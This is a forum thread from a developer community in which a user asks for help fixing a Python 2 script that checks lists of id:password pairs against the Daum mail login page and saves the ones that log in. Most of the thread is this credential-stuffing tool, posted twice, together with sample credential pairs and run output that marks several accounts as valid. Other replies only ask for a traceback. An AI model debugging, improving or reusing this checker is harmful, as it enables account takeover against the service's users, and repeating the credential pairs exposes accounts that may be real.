hi
im making some website login checker.
all thing is almost no problem except resulted save function.
here is sample login id and password for test.
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32

to test this source in python,need to make some text file "daum.txt" and insert
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32
this two account in there.
i want to save only alive account but current source code can't function correctly,
all checking account saved.
thanks in advance

# -*- coding: 949 -*-
import sys, poplib, os
import httplib,urllib,sys

SAVEFILE = 'valid_accounts.txt'
maillist = "daum.txt"
valid = []
currline = 0

try:
    handle = open(maillist)
except:
    exit(1)

for line in handle:
    currline += 1

    try:
        email = line.split(':')[0]
        password = line.split(':')[1].replace('\n', '')
       
    except:
        exit(1)

    try:

        params = urllib.urlencode({'id':email,'pw':password})
        headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15",
                   "Accept": "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
                   "Accept-Language": "en-us,en;q=0.5",
                   "Accept-Encoding": "gzip,deflate",
                   "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7"}
        conn = httplib.HTTPConnection("login.daum.net:80")
        conn.request("POST","/Mail-bin/login.cgi?dummy=1215318486921",params,headers)
        response = conn.getresponse()

        data = response.read()
        valid.append(email + ':' + password)
       
       
        logged_in = 'The document has moved' in data
        if logged_in:
            print '[+] Checking: %s <%s> -> Valid!' % (email, password)
            save = open(SAVEFILE, 'a')
            #valid.append(email + ':' + password)
       
            for email in valid:
                save.write(email + '\n')
                save.close()   
                #quit()
                #handle.close()
                #exit(1)
                #pass
                #currline += 1
        else:
            print 'bad account!'

    except:
        print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
        pass
        #exit(1)
handle.close()
print '\n[+] Total Valid: %s' % len(valid)
print '\n[+] Done.\n'
lllllIllIlllI commented: lets get you out of the red :) +4

hello
nobody can help me to resolve this problem?


hi
im making some website login checker.
all thing is almost no problem except resulted save function.
here is sample login id and password for test.
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32

to test this source in python,need to make some text file "daum.txt" and insert
bkozluxvghzb67:ukrnvs37
kicgnudgreuq10:atzjzp32
this two account in there.
i want to save only alive account but current source code can't function correctly,
all checking account saved.
thanks in advance

# -*- coding: 949 -*-
import sys, poplib, os
import httplib,urllib,sys

SAVEFILE = 'valid_accounts.txt'
maillist = "daum.txt"
valid = []
currline = 0

try:
    handle = open(maillist)
except:
    exit(1)

for line in handle:
    currline += 1

    try:
        email = line.split(':')[0]
        password = line.split(':')[1].replace('\n', '')
       
    except:
        exit(1)

    try:

        params = urllib.urlencode({'id':email,'pw':password})
        headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15",
                   "Accept": "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
                   "Accept-Language": "en-us,en;q=0.5",
                   "Accept-Encoding": "gzip,deflate",
                   "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7"}
        conn = httplib.HTTPConnection("login.daum.net:80")
        conn.request("POST","/Mail-bin/login.cgi?dummy=1215318486921",params,headers)
        response = conn.getresponse()

        data = response.read()
        valid.append(email + ':' + password)
       
       
        logged_in = 'The document has moved' in data
        if logged_in:
            print '[+] Checking: %s <%s> -> Valid!' % (email, password)
            save = open(SAVEFILE, 'a')
            #valid.append(email + ':' + password)
       
            for email in valid:
                save.write(email + '\n')
                save.close()   
                #quit()
                #handle.close()
                #exit(1)
                #pass
                #currline += 1
        else:
            print 'bad account!'

    except:
        print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
        pass
        #exit(1)
handle.close()
print '\n[+] Total Valid: %s' % len(valid)
print '\n[+] Done.\n'
commented: don't like bumpers -4

can you provide traceback to your problem? I also don't understand what you mean by 'i want to save only alive account but current source code can't function correctly, all checking account saved.' Please elaborate on what the problem is

hello :)
i was paste result

C:\Python26>daum.py daum.txt
[+] Checking: bkozluxvghzb67 <ukrnvs37> -> Valid!
bad account!
bad account!
bad account!
bad account!
[+] Checking: bgirlndixvqc96 <uqzqim20> -> Valid!
[+] Checking: kicgnudgreuq10:atzjzp32 <uqzqim20> -> Invalid!
bad account!
bad account!
bad account!
bad account!
bad account!
bad account!
[+] Checking: wuyrahewwwth79 <jfeysv34> -> Valid!
[+] Checking: kicgnudgreuq10:atzjzp32 <jfeysv34> -> Invalid!
bad account!

[+] Total Valid: 14

[+] Done.

and result file name is 'valid_account.txt' and
content in this file is

bkozluxvghzb67:ukrnvs37
bkozluxvghzb67:ukrnvs37
bkozluxvghzb67:ukrnvs37

here problem is ,i want to get only Valid Account list,but current
result file is something very weird.
sorry for my bad english.
thanks in advance

can you provide traceback to your problem? I also don't understand what you mean by 'i want to save only alive account but current source code can't function correctly, all checking account saved.' Please elaborate on what the problem is

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, networking, learning, and sharing knowledge.